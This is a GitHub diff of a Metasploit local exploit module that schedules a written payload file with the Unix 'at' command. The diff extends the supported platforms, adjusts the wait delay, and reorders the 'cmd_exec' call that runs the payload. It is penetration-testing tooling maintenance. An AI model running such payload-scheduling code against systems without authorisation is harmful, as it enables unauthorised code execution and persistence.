File tree Expand file tree Collapse file tree 1 file changed +5
-3
lines changed
modules/exploits/multi/local Expand file tree Collapse file tree 1 file changed +5
-3
lines changed Original file line number Diff line number Diff line change @@ -25,7 +25,7 @@ def initialize(info = {})
25
25
] ,
26
26
'Targets' => [ [ 'Automatic' , { } ] ] ,
27
27
'DefaultTarget' => 0 ,
28
- 'Platform' => [ ' unix' , ' linux' , ' osx' ] ,
28
+ 'Platform' => %w( unix linux osx bsd solaris openbsd bsdi netbsd freebsd aix hpux irix ) ,
29
29
'Arch' => ARCH_CMD ,
30
30
'Payload' =>
31
31
{
@@ -35,7 +35,7 @@ def initialize(info = {})
35
35
'RequiredCmd' => 'generic perl ruby python'
36
36
}
37
37
} ,
38
- 'DefaultOptions' => { 'WfsDelay' => 60 } ,
38
+ 'DefaultOptions' => { 'WfsDelay' => 65 } ,
39
39
'DisclosureDate' => "Jan 1 1997" # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
40
40
)
41
41
)
@@ -77,8 +77,10 @@ def exploit
77
77
end
78
78
79
79
write_file ( payload_file , payload . encoded )
80
- cmd_exec ( "at -f #{ payload_file } #{ datastore [ 'TIME' ] } " )
81
80
register_files_for_cleanup ( payload_file ) if datastore [ 'CLEANUP' ]
81
+
82
+ cmd_exec ( "at -f #{ payload_file } #{ datastore [ 'TIME' ] } " )
83
+
82
84
print_status ( "Waiting #{ datastore [ 'WfsDelay' ] } sec for execution" )
83
85
0 . upto ( datastore [ 'WfsDelay' ] . to_i ) do
84
86
Rex . sleep ( 1 )
You can’t perform that action at this time.
0 commit comments